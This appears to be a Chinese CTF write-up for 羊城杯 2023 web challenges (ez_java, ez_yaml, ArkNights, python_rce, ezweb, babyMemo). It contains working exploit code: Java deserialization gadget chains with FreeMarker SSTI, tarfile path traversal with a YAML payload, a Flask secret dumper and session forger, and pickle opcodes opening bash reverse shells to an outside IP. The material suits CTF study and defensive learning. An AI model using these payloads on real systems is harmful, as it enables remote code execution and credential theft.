羊城杯2023 wp
前言
周末抽空陪学弟打了一下,深感web的无力。全程基本都是我、学长和正汰在做。。。
micgo已经润实战了,令人感慨。
但令人感到高兴的是,
这次比赛难度很适合我,太棒了,学到很多!
最后的战况是,差一道猜谜黑盒题就ak了
ez_java
法一
法一的灵感是jackson原生反序列化
BadAttributeValueExpException -> POJONode#toString ->HtmlInvocationHandler -》htmlMap
(用BadAttributeValueExpException -> POJONode#toString ->调用动态代理 ,一开始没想明白咋回事,POJONode不是调用类的任意getter方法吗,仔细一想,我丢,就是任意调用了htmlMap的get方法,只是中间隔了一层代理,通过代理调用而已。不过很骚的点就是这个代理是必要的,不能看它“好像”没用到就跳过,当然这题给了代理,明显想让你先调代理在调它,原因后面想想)
HtmlMap htmlMap = new HtmlMap();
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
htmlMap.filename="index.ftl";
HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler(htmlMap);
Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, htmlInvocationHandler);
// 删除 jsonNode 的 writeReplace,不删除会报错
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(proxy);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
覆写index.ftl, 利用freemarker ssti进行rce
/templating?name=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJi9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
法二
法二的灵感是cc链 (yso-cc1)
截取yso的
HtmlMap htmlMap = new HtmlMap();
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
htmlMap.filename="index.ftl";
HtmlInvocationHandler hih = new HtmlInvocationHandler();
hih.obj = htmlMap;
Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},hih);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructors()[0];
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxymap);
serialize(o);
base64encode_exp(o);
unserialize("ser.bin");
关于动态代理
以前写过:JDK动态代理 介绍 – View of Thai
做这个题,前面应该很简单
HtmlMap htmlMap = new HtmlMap();
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
htmlMap.filename="index.ftl";
HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler();
htmlInvocationHandler.obj = htmlMap;
主要是题目这个方法比较特别
@Override // java.lang.reflect.InvocationHandler
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return this.obj.get(method.getName());
}
要求选手记得动态代理的特征:继承了InvocationHandler
所以这个类也是代理类,那么选手就应该知道,method虽然可以被初始化的变量,但由于它在运行时可以被系统动态调用的
所以它的初始化写法是这样的:
Proxy.newProxyInstance(htmlMap.getClass().getClassLoader(), htmlMap.getClass().getInterfaces(),htmlInvocationHandler);
当时在这卡了好久,忘了初始化这个Method了,直接跳到下面去,虽然代码看上去没有标红,但是报空指针了错误了
我们看到cc相关的地方
// 反射
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap);
// 这部分是对AnnotationInvocationHandler的初始化
// 等同于 完善AnnotationInvocationHandler.readObject()
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
// 看到这里应该想到是动态代理在外部的调用
// 动态代理是为被代理的类定制的,这里因为是lazymap,所以前后出现了lazyMap
Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
这里需要加深理解的是:mapProxy是LazyMap的动态代理,我们需要把它改为HtmlMap的动态代理
完整exp
HtmlMap htmlMap = new HtmlMap();
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
htmlMap.filename="index.ftl";
HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler();
htmlInvocationHandler.obj = htmlMap;
Map o1 = (Map)Proxy.newProxyInstance(htmlMap.getClass().getClassLoader(), htmlMap.getClass().getInterfaces(), htmlInvocationHandler);
// 反射
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, o1);
// 这部分是对AnnotationInvocationHandler的初始化
// 等同于 完善AnnotationInvocationHandler.readObject()
Map mapProxy = (Map) Proxy.newProxyInstance(HtmlMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, mapProxy);
serialize(h);
base64encode_exp(h);
unserialize("ser.bin");
ez_yaml
https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/
import tarfile
import io
tar = tarfile.TarFile('shell.tar', 'w')
info = tarfile.TarInfo("../../config/shell.yaml")
deserialization_payload = '!!python/object/apply:os.system ["ls />templates/admin.html"]'
info.size=len(deserialization_payload)
info.mode=0o444 # So it cannot be overwritten
tar.addfile(info, io.BytesIO(deserialization_payload.encode()))
tar.close()
覆写templates/admin.html
访问/src?username=shell获得回显,后面换成cat /fllaagg_here就好
最后访问/src?username=cat即可
ArkNights
可以通过/proc/self/cmdlines读取SECRET_KEY
感觉要../
https://cloud.tencent.com/developer/article/2070182
mem可以读,注意end变量其实是偏移量,这里的命名有误导性
import requests
import re
url = "http://5000.endpoint-186d441962594e3c8527f0eca68d41b5.m.ins.cloud.dasctf.com:81/"
rw = []
map_list = requests.get(f"{url}/read?file=/proc/self/maps")
map_list = map_list.text.split("\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
rw.append((start,end-start))
for k in rw:
print("Test:" + str(k[0]) + "-" + str(k[1]) + "...")
res = requests.get(f"{url}/read?file=/proc/self/mem&start={k[0]}&end={k[1]}")
# print(res.text)
if "Boogipopisweak" in res.text:
try:
# print(res.text)
rt = re.findall(b"[a-z0-9]{8}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{12}", res.content)
if rt:
print(rt)
except:
pass
key
489a9bbc*84fb*41f2*b4d5*92a808455dec
直接flask session伪造要考虑时间戳(为啥以前有些不用?
t = base64.b64decode('ZPMPLw==')
int.from_bytes(t, "big")
1693650735
看了一下时间戳是一样的
import hmac
import base64
def sign_flask(data, key, times):
digest_method = 'sha1'
def base64_decode(string):
string = string.encode('utf8')
string += b"=" * (-len(string) % 4)
try:
return base64.urlsafe_b64decode(string)
except (TypeError, ValueError):
raise print("Invalid base64-encoded data")
def base64_encode(s):
return base64.b64encode(s).replace(b'=', b'')
salt = b'cookie-session'
mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
mac.update(salt)
key = mac.digest()
msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
data = hmac.new(key, msg=msg, digestmod=digest_method)
hs = data.digest()
# print(hs)
# print(msg+b'.'+ base64_encode(hs))
# print(int.from_bytes(times.to_bytes(8,'big'),'big'))
return msg + b'.' + base64_encode(hs)
# base64_data = base64.b64encode(b'test')
# print(sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360))
print(sign_flask('{"name":{"Dr.Boog1pop"}}', '489a9bbc*84fb*41f2*b4d5*92a808455decBoogipopisweak', 1693651400))
时间搓先提前弄一个值,然后就一直访问直到刚好达到那个时刻
怎么绕exec呢?有过滤
怎么连引号‘和[]都过滤了
非预期
/proc/1/environ
tmd居然非预期,扫了半天self和/proc根目录啥没有,在uid=1的进程泄露(
预期(待补充和复现)
flask_session_cookie_manager3.py (网上的脚本)
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
exp.py
import re
import requests
from flask_session_cookie_manager3 import FSCM
proxies = {'http':'http://192.168.31.234:28080'}
url0 = "http://5000.endpoint-186d441962594e3c8527f0eca68d41b5.m.ins.cloud.dasctf.com:81"
def dump(start, end):
r = requests.get(url=url0 + '/read?file=/proc/self/mem&start=%d&end=%d'%(start, end))
data = r.content
return data
def attack(key):
print(key)
session_data = "{'name':'Dr.Boog1pop', 'm1sery':'\"Dr.Boog1pop\", request.application.__globals__.__builtins__.__import__(\"os\").popen(request.args.c).read()'}"
session_data = "{'name': 'Dr.Boog1pop'}"
cookie = FSCM.encode(key, session_data)
print(cookie)
code = "exec(\"session['name']=__import__('os').popen('id').read()\")"
data = {'name':"eval(request.user_agent.__str__()).__class__.__str__",
"m1sery":"aaa"}
r = requests.get(url0 , params=data, headers={'cookie':'session='+cookie, 'User-Agent':code})
resp = r.cookies['session']
print(FSCM.decode(resp).decode())
#import code
#code.interact(local=locals())
def main():
r = requests.get(url=url0 + '/read?file=/proc/self/maps')
lines = r.text.split('\n')
for line in lines:
line = line.strip()
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m is None:
continue
if m.group(3) == 'r': # if this is a readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
data = dump(start, end-start)
mm = re.findall(rb'[a-zA-Z0-9*]{36}Boogipopisweak', data)
for key in mm:
attack(key.decode())
return
main()
比较佩服的一点还是这个ssti
python_rce
flask sessin伪造admin
python3 flask_session_cookie_manager3.py decode -c “”
python3 flask_session_cookie_manager3.py encode -t “” -s “”
/src0de读源码(提示在/ppppppppppick1e的headers里)
法一
pickle反序列化:
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
system
.
python提权
import os os.setuid(0) os.system("cat /flag > /flag.txt")
法二
我的pickle反序列化exp是这样的
opcode=b'''c__builtin__
filter
p0
0(S'bash -c "bash -i >& /dev/tcp/8.129.42.140/3307 0>&1" '
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
import base64
r = base64.b64encode(opcode)
print(r)
ezweb
/cmd.php
命令执行
可能是白名单?
只有whoami,多一个空格都不行
害,最后看题解是传so到etc目录,真就是比谁掌握的trick的共同点多(这次的共同点是上传)
原理:/etc/ld.so.preload,/etc/ld.so.preload 指定加载so的路径,后续执行任何命令都会像加载so
线下
没去,但是怀着学习的目的自己写了一下
babyMemo
break
环境搭建
docker run -p 8083:80 -v D:\study\phpStudy_64\phpstudy_pro\WWW\ycb:/var/www/html php:apache
记得index.php加个session_start();原题应该有的
题很好,一眼看出是sess反序列化伪造登录的操作
很快看到file_put_contents,所以一切都是围绕这里写session
思路很简单,写一个满足cat /flag的session即可 (因为递归删除../的原因没法写www目录写webshell)
sess文件的格式已经忘得差不多了,复习一下:
文件格式一般是sess_xxxxx
xxxx是26位十六进制数字,并且等于cookie的session_id
为了保证是这个文件格式,我们要让文件后缀为空,但是这里有过滤
由于其他的后缀名是明确的,不可控的,所以看看这个
意识到我们可以后缀名写为./,这样与签名的.拼接后可以被替换为空
除此之外,还要记得补齐sess_xxxx中xxx(即phpsession_id)的长度
注意,内容是序列化文件的rot13
└─$ php -r "echo str_rot13('hfreanzr|f:4:"frff";nqzva|o:1;zrzbf|n:0:{}');"
username|s:4:sess;admin|b:1;memos|a:0:{}
是这个:hfreanzr|f:4:"frff";nqzva|o:1;zrzbf|n:0:{}
由于文件是username_xxx命名,所以我们需要使用sess
所以第一步,登录sess并且写一个序列化payload的rot13
第二步是利用file_put_content写入无后缀文件sess_xxxx,伪造session
记得补齐长度
这里会回显文件名,所以可以直接看到phpsess_id
可以看到写成功了
接下来把自己cookie改成这个phpsess_id访问memo.php就好 (这里源码的cat /flag被我改为phpinfo了,总之原理理解就好)
FIX
tel说禁用sess作为用户名
我感觉或许禁用./作为后缀会更好一点
if(strpos($compressionMethod, './') !== false){
break;
}